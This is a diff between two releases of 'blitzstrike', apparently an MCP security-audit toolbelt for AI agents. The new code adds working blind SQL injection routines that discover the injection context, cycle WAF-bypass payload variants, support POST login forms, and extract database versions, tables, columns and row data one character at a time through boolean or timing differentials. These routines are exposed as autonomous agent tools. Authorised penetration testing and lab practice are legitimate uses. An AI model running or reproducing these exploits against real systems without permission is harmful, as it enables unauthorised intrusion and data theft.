blitzstrike 2.4.157 → 2.4.158
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +13 -0
- package/dist/index.js +88 -65
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,19 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.158] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Added — injection-context adaptation + POST support (blind SQLi)
|
|
11
|
+
|
|
12
|
+
- `blind_sqli_confirm` + `blind_sqli_extract` now AUTO-DISCOVER the injection
|
|
13
|
+
context (single quote ' / double quote " / numeric / parenthesized ')·") and
|
|
14
|
+
adapt the oracle + extraction payloads, instead of assuming single-quote.
|
|
15
|
+
- Added `method` (GET/POST) + `body` template ({value} placeholder) so form/login
|
|
16
|
+
blind SQLi (POST) works — verified on sqli-labs Less-15 (POST uname/passwd).
|
|
17
|
+
- Verified on sqli-labs advanced set: Less-8 single-quote boolean, Less-9 single-
|
|
18
|
+
quote time, Less-10 double-quote time, Less-15 POST — all confirm + extract
|
|
19
|
+
version/database cleanly.
|
|
20
|
+
|
|
8
21
|
## [2.4.157] — 2026-10-11
|
|
9
22
|
|
|
10
23
|
### Added — SQLi type taxonomy + diagnostic flow (LLM understanding)
|
package/dist/index.js
CHANGED
|
@@ -62444,55 +62444,66 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62444
62444
|
};
|
|
62445
62445
|
}
|
|
62446
62446
|
function oracleBypassVariants(base) {
|
|
62447
|
+
const body = base.replace(/^'/, "");
|
|
62447
62448
|
return [
|
|
62448
62449
|
base,
|
|
62450
|
+
`"${body}`,
|
|
62451
|
+
body,
|
|
62452
|
+
`')${body}`,
|
|
62453
|
+
`")${body}`,
|
|
62449
62454
|
base.replace("-- -", "#"),
|
|
62450
|
-
base.replace("-- -", "--"),
|
|
62451
62455
|
base.replace(/ /g, "/**/"),
|
|
62452
|
-
base.replace(/AND/g, "aNd")
|
|
62453
|
-
base.replace(/^'/, '"'),
|
|
62454
|
-
base.replace(/^'/, "')")
|
|
62456
|
+
base.replace(/AND/g, "aNd")
|
|
62455
62457
|
];
|
|
62456
62458
|
}
|
|
62457
62459
|
function extractBypassVariants(tpl) {
|
|
62458
62460
|
const fn = tpl.includes("SUBSTRING") ? "SUBSTRING" : "SUBSTR";
|
|
62459
|
-
|
|
62460
|
-
|
|
62461
|
-
|
|
62462
|
-
|
|
62463
|
-
|
|
62464
|
-
|
|
62465
|
-
|
|
62461
|
+
const fns = [fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR", fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING", "MID"];
|
|
62462
|
+
const contexts = ["'", '"', "", "')", '")'];
|
|
62463
|
+
const variants = [];
|
|
62464
|
+
for (const c of contexts)
|
|
62465
|
+
for (const f of fns)
|
|
62466
|
+
variants.push(tpl.replace(/^'/, c).replace(fn, f));
|
|
62467
|
+
return variants;
|
|
62468
|
+
}
|
|
62469
|
+
function makeFetcher(base, param, method, bodyTpl) {
|
|
62470
|
+
const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike)" };
|
|
62471
|
+
return {
|
|
62472
|
+
async size(payload) {
|
|
62473
|
+
try {
|
|
62474
|
+
let r;
|
|
62475
|
+
if (method === "POST") {
|
|
62476
|
+
const body = (bodyTpl ?? `${param}={value}`).replace("{value}", payload);
|
|
62477
|
+
r = await fetch(base, { method: "POST", headers: { ...headers, "Content-Type": "application/x-www-form-urlencoded" }, redirect: "follow", signal: AbortSignal.timeout(9000), body });
|
|
62478
|
+
} else {
|
|
62479
|
+
r = await fetch(`${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`, { headers, redirect: "follow", signal: AbortSignal.timeout(9000) });
|
|
62480
|
+
}
|
|
62481
|
+
return (await r.text()).length;
|
|
62482
|
+
} catch {
|
|
62483
|
+
return -1;
|
|
62484
|
+
}
|
|
62485
|
+
},
|
|
62486
|
+
async time(payload) {
|
|
62487
|
+
const t0 = Date.now();
|
|
62488
|
+
await this.size(payload);
|
|
62489
|
+
return Date.now() - t0;
|
|
62490
|
+
}
|
|
62491
|
+
};
|
|
62466
62492
|
}
|
|
62467
|
-
async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
|
|
62493
|
+
async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql", opts = {}) {
|
|
62468
62494
|
const base = baseUrl.replace(/\/+$/, "") + "/";
|
|
62469
62495
|
const p = blindSqli(dbms);
|
|
62470
62496
|
if (!p)
|
|
62471
62497
|
return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
|
|
62472
|
-
const
|
|
62473
|
-
|
|
62474
|
-
const fetchSize = async (payload) => {
|
|
62475
|
-
try {
|
|
62476
|
-
const r = await fetch(build(payload), { headers, redirect: "follow", signal: AbortSignal.timeout(9000) });
|
|
62477
|
-
const body = await r.text();
|
|
62478
|
-
return { ok: true, status: r.status, size: body.length };
|
|
62479
|
-
} catch (e) {
|
|
62480
|
-
return { ok: false, status: 0, size: 0 };
|
|
62481
|
-
}
|
|
62482
|
-
};
|
|
62483
|
-
const fetchTiming = async (payload) => {
|
|
62484
|
-
const t0 = Date.now();
|
|
62485
|
-
const r = await fetchSize(payload);
|
|
62486
|
-
return { ok: r.ok, size: r.size, ms: Date.now() - t0 };
|
|
62487
|
-
};
|
|
62488
|
-
let boolDiff = false, bt = { ok: false, size: 0 }, bf = { ok: false, size: 0 };
|
|
62498
|
+
const F = makeFetcher(base, param, opts.method ?? "GET", opts.body);
|
|
62499
|
+
let boolDiff = false, bt = -1, bf = -1;
|
|
62489
62500
|
let boolBypass = null;
|
|
62490
62501
|
const btv = oracleBypassVariants(p.oracle.boolean_true);
|
|
62491
62502
|
const bfv = oracleBypassVariants(p.oracle.boolean_false);
|
|
62492
62503
|
for (let i = 0;i < btv.length; i++) {
|
|
62493
|
-
const t = await
|
|
62494
|
-
const f = await
|
|
62495
|
-
if (t
|
|
62504
|
+
const t = await F.size(`${value}${btv[i]}`);
|
|
62505
|
+
const f = await F.size(`${value}${bfv[i]}`);
|
|
62506
|
+
if (t >= 0 && f >= 0 && t !== f) {
|
|
62496
62507
|
boolDiff = true;
|
|
62497
62508
|
bt = t;
|
|
62498
62509
|
bf = f;
|
|
@@ -62500,13 +62511,13 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
|
|
|
62500
62511
|
break;
|
|
62501
62512
|
}
|
|
62502
62513
|
}
|
|
62503
|
-
let timeDiff = false, tt =
|
|
62514
|
+
let timeDiff = false, tt = 0, tf = 0;
|
|
62504
62515
|
const ttv = oracleBypassVariants(p.oracle.time_true);
|
|
62505
62516
|
const tfv = oracleBypassVariants(p.oracle.time_false);
|
|
62506
62517
|
for (let i = 0;i < ttv.length; i++) {
|
|
62507
|
-
const t = await
|
|
62508
|
-
const f = await
|
|
62509
|
-
if (t
|
|
62518
|
+
const t = await F.time(`${value}${ttv[i]}`);
|
|
62519
|
+
const f = await F.time(`${value}${tfv[i]}`);
|
|
62520
|
+
if (t > 2000 && f < 2000) {
|
|
62510
62521
|
timeDiff = true;
|
|
62511
62522
|
tt = t;
|
|
62512
62523
|
tf = f;
|
|
@@ -62519,12 +62530,13 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
|
|
|
62519
62530
|
dbms,
|
|
62520
62531
|
param,
|
|
62521
62532
|
value,
|
|
62522
|
-
|
|
62523
|
-
|
|
62533
|
+
method: opts.method ?? "GET",
|
|
62534
|
+
boolean: { true_size: bt, false_size: bf, differential: boolDiff, bypass: boolBypass },
|
|
62535
|
+
time: { true_ms: tt, false_ms: tf, differential: timeDiff },
|
|
62524
62536
|
confirmed,
|
|
62525
62537
|
channel,
|
|
62526
62538
|
bypass_used: boolBypass,
|
|
62527
|
-
evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt
|
|
62539
|
+
evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt}b vs FALSE=${bf}b${boolBypass ? ` (bypass: ${boolBypass})` : ""}` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt}ms vs FALSE≈${tf}ms` : "") + "." : "no clean boolean or time differential observed (tried default + WAF-bypass variants) — not confirmed as blind SQLi."
|
|
62528
62540
|
};
|
|
62529
62541
|
}
|
|
62530
62542
|
function resolveQueryExpr(p, target, opts) {
|
|
@@ -62554,33 +62566,39 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62554
62566
|
const queryExpr = resolveQueryExpr(p, target, opts);
|
|
62555
62567
|
if (!queryExpr)
|
|
62556
62568
|
return { error: `unknown target '${target}'`, known: ["version", "database", "user", "tables", "columns", "data"] };
|
|
62557
|
-
const
|
|
62558
|
-
const
|
|
62569
|
+
const F = makeFetcher(base, param, opts.method ?? "GET", opts.body);
|
|
62570
|
+
const getSize = (payload) => F.size(payload);
|
|
62571
|
+
const getTime = (payload) => F.time(payload);
|
|
62559
62572
|
const maxlen = opts.maxlen ?? 64;
|
|
62560
|
-
const getSize = async (payload) => {
|
|
62561
|
-
try {
|
|
62562
|
-
const r = await fetch(build(payload), { headers, redirect: "follow", signal: AbortSignal.timeout(9000) });
|
|
62563
|
-
return (await r.text()).length;
|
|
62564
|
-
} catch {
|
|
62565
|
-
return -1;
|
|
62566
|
-
}
|
|
62567
|
-
};
|
|
62568
|
-
const getTime = async (payload) => {
|
|
62569
|
-
const t0 = Date.now();
|
|
62570
|
-
await getSize(payload);
|
|
62571
|
-
return Date.now() - t0;
|
|
62572
|
-
};
|
|
62573
62573
|
let channel = opts.channel ?? "boolean";
|
|
62574
|
-
|
|
62574
|
+
const contexts = ["'", '"', "", "')", '")'];
|
|
62575
|
+
let ctx = "'";
|
|
62576
|
+
let trueSize = -1;
|
|
62575
62577
|
if (channel === "boolean") {
|
|
62576
|
-
|
|
62577
|
-
|
|
62578
|
-
|
|
62578
|
+
for (const c of contexts) {
|
|
62579
|
+
const t = await getSize(`${value}${p.oracle.boolean_true.replace(/^'/, c)}`);
|
|
62580
|
+
const f = await getSize(`${value}${p.oracle.boolean_false.replace(/^'/, c)}`);
|
|
62581
|
+
if (t >= 0 && f >= 0 && t !== f) {
|
|
62582
|
+
ctx = c;
|
|
62583
|
+
trueSize = t;
|
|
62584
|
+
break;
|
|
62585
|
+
}
|
|
62586
|
+
}
|
|
62587
|
+
if (trueSize < 0)
|
|
62579
62588
|
channel = "time";
|
|
62589
|
+
}
|
|
62590
|
+
if (channel === "time") {
|
|
62591
|
+
for (const c of contexts) {
|
|
62592
|
+
const t = await getTime(`${value}${p.oracle.time_true.replace(/^'/, c)}`);
|
|
62593
|
+
const f = await getTime(`${value}${p.oracle.time_false.replace(/^'/, c)}`);
|
|
62594
|
+
if (t > 2000 && f < 2000) {
|
|
62595
|
+
ctx = c;
|
|
62596
|
+
break;
|
|
62597
|
+
}
|
|
62580
62598
|
}
|
|
62581
62599
|
}
|
|
62582
62600
|
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
|
|
62583
|
-
const baseTpl = channel === "time" ? p.extraction.time : p.extraction.boolean;
|
|
62601
|
+
const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
|
|
62584
62602
|
const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
|
|
62585
62603
|
const matches = async (tpl, pos, ch) => channel === "time" ? await getTime(render(tpl, pos, ch)) > 600 : await getSize(render(tpl, pos, ch)) === trueSize;
|
|
62586
62604
|
const variants = extractBypassVariants(baseTpl);
|
|
@@ -62619,6 +62637,7 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62619
62637
|
target,
|
|
62620
62638
|
channel,
|
|
62621
62639
|
query: queryExpr,
|
|
62640
|
+
context: ctx,
|
|
62622
62641
|
extracted: out,
|
|
62623
62642
|
char_count: out.length,
|
|
62624
62643
|
bypass_used: tplBypass,
|
|
@@ -65344,10 +65363,12 @@ ${statusLine}` : statusLine },
|
|
|
65344
65363
|
base_url: string2().describe("Target base URL"),
|
|
65345
65364
|
param: string2().describe("Parameter name to confirm (e.g. id)"),
|
|
65346
65365
|
value: string2().describe("Baseline value (e.g. 1)"),
|
|
65347
|
-
dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
|
|
65366
|
+
dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)"),
|
|
65367
|
+
method: string2().optional().describe("'GET' (default) or 'POST' for form/login blind SQLi"),
|
|
65368
|
+
body: string2().optional().describe("POST body template with {value} placeholder for the injection point (e.g. 'uname={value}&passwd=admin&submit=Submit')")
|
|
65348
65369
|
}
|
|
65349
|
-
}, async ({ base_url, param, value, dbms }) => {
|
|
65350
|
-
return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql")) }] };
|
|
65370
|
+
}, async ({ base_url, param, value, dbms, method, body }) => {
|
|
65371
|
+
return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body })) }] };
|
|
65351
65372
|
});
|
|
65352
65373
|
server.registerTool("blind_sqli_extract", {
|
|
65353
65374
|
title: "Blind SQLi metadata extraction (autonomous)",
|
|
@@ -65361,10 +65382,12 @@ ${statusLine}` : statusLine },
|
|
|
65361
65382
|
channel: string2().optional().describe("'boolean' or 'time' (default boolean, auto-falls-back to time)"),
|
|
65362
65383
|
table: string2().optional().describe("Table name (for columns/data)"),
|
|
65363
65384
|
column: string2().optional().describe("Column name (for data)"),
|
|
65364
|
-
index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)")
|
|
65385
|
+
index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)"),
|
|
65386
|
+
method: string2().optional().describe("'GET' (default) or 'POST'"),
|
|
65387
|
+
body: string2().optional().describe("POST body template with {value} placeholder")
|
|
65365
65388
|
}
|
|
65366
|
-
}, async ({ base_url, param, value, dbms, target, channel, table, column, index }) => {
|
|
65367
|
-
return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index })) }] };
|
|
65389
|
+
}, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body }) => {
|
|
65390
|
+
return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body })) }] };
|
|
65368
65391
|
});
|
|
65369
65392
|
server.registerTool("oob_start", {
|
|
65370
65393
|
title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.158",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|